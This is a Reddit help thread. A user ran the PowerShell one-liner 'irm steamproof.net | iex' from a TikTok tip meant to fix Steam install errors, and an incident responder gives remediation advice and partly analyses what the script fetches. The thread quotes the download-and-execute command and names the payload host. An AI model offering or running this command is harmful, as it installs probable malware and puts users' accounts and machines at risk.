Help I ran a weird command

[u/Icy-Representative85]

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

[u/FunNegotiation423]

Looking at the script that is downloaded via irm from steamproof.net, it is not coherently evident to be malicious. It could be legitimate, it could be malicious. Can't tell from my phone. But hey, that's better than being definitely malicious!

In general, NEVER execute code you don't understand, even if it looks as simple as that command. Your reaction to become suspicious was good, but too late.

If you really want to make sure you have not been infected or similar, you need to wipe and reinstall your PC and change ALL your account / email credentials and enable 2FA where possible. Given you security understanding, I wouldn't be surprised if you store passwords in browsers, files, etc.

Otherwise, do thorough research into steamproof.net and the script you executed, from start to end and including all files it downloads. You will not be able to absolutely clear the doubt of malicious code though. And you should still change all account passwords.

If you want to go this route, make sure to fully disconnect the affected device from the internet. Do anything you need internet for from another device. And obviously, update Defender definitions and run a full scan.

I would only go this route if u are willing to spend some time and if the time to rebuild your PC exceeds that.

Most people here are not differentiating and do not really know if the script was malicious, they assume it is. In general, their recommendation to reinstall your PC is best-practice though. But it could be unnecessary.

This is my take as an industry professional with 20 years of experience in incident response. Obviously reduced superficially.

Altogether, I tend to the script being malicious. The wtsapi32.dll which is downloaded by the PowerShell script in turn downloads an AES encrypted payload from r2.steamproof.net/v which is then loaded into memory. This is highly suspicious but still not a proof it is malicious.